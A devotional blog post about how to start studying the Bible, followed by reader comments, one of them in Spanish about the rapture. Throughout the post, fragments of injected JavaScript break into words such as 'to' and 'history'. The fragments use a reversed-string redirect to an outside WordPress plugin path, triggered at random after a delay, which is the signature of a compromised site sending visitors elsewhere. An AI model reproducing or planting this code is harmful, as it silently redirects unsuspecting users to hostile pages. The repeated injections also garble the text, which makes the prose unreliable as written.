Now let’s discuss how we know and learn the word of God or, in other words, what He has already toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}told us.
God has given us His word and His word has been recorded by various people throughout histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory. While there are many books and writings that we can look at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find what God has taught men over the course of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory (some ancient writings were not found until fairly recently), the Bible is the primary source of our knowledge of God’s word. In fact, with estimates of between 2.5 and 6 billion copies being sold, the Bible is the most published and best selling book ever. So let’s start there.
In as few words as I can think of using, I would describe the Bible as a “handbook for life”. In the Bible, you can find a message from God on nearly anything you need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know about or are concerned about.
The Bible is a recording of God’s interaction with man, the word God has given toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to man, and God’s teaching man how He expects us toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to live and interact with each other.
The content of the Bible is so diverse and deep that we could spend a lifetime studying the Bible. So how do we get started really getting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to know what the Bible is all about and what it is telling us?
You can pick up the Bible and just start reading but there is so much in the Bible that you can quickly become overwhelmed by just diving in like this. I know my study of the Bible needed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start with an overview and a “map”.
Having an overview and a “map” of the Bible can help you keep your bearings of where you are, the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory behind each book of the Bible, and what the particular book of the Bible is about.
Some of the guides that I would consider starting off with would include:

So grab your Bible, get yourself a map, and get started learning more about the Word of God!
How do you feel about Bible Study Groups in addition to reading the word on your own?
Jan,
I think any study of the Bible is great – especially in a group where you can share ideas and interpretations of what the Bible is telling us. As you well might know you can ask three people to read the same passage and come up with three different versions of what the passage is saying to those three people.
If you looked at my bookshelf you will find many books on the Bible. This is because I enjoy reading many peoples views of what the Bible is saying to them. The interpretation of the Bibles words is a very personal thing and hearing or reading others views can help you define what the words of the Bible say to you. One thing I don’t think you should do is have anyone tell you what the meaning of the Bible definately IS.
No matter how you study the Bible, make it personal. Make the words come alive for you.
Thanks for being part of The Whisper of God community.

It is always nice to get someone else’s opinion. No one person has the interpretation of the whole bible.
Me gusta compartir el estudio biblico con otras personas, pero tambien una vez mas creo que la biblia le habla a cada uno en particular, por ejemplo el otro dia una hermana cristiana mientras trbajabamos juntas me dijo debemos estar muy alertas y preparadas para el dia del rapto, pues hay muchas senales que el senor viene pronto, yo le conteste estoy muy de acuerdo contigo sin embargo he meditado en este estudio y esto puso Dios en mi corazon, llegare como ladron en la noche, nadie sabra con exactitud cuando el senor va a venir, y pienso que Dios es el que da la vida y la quita, nadie sabe cuando exactamente un nino va a nacer ni si quiera el mejor doctor, al igualque en que momento partimos de esta vida, pues creo que ese es el momento de tu rapto individual cuando el senor llega inesperadamente y dice este es el dia que te vas y el momento, por eso creo que ese es el verdadero dia de tu rapto. Mi alma te Alaba Jesus Aleluya
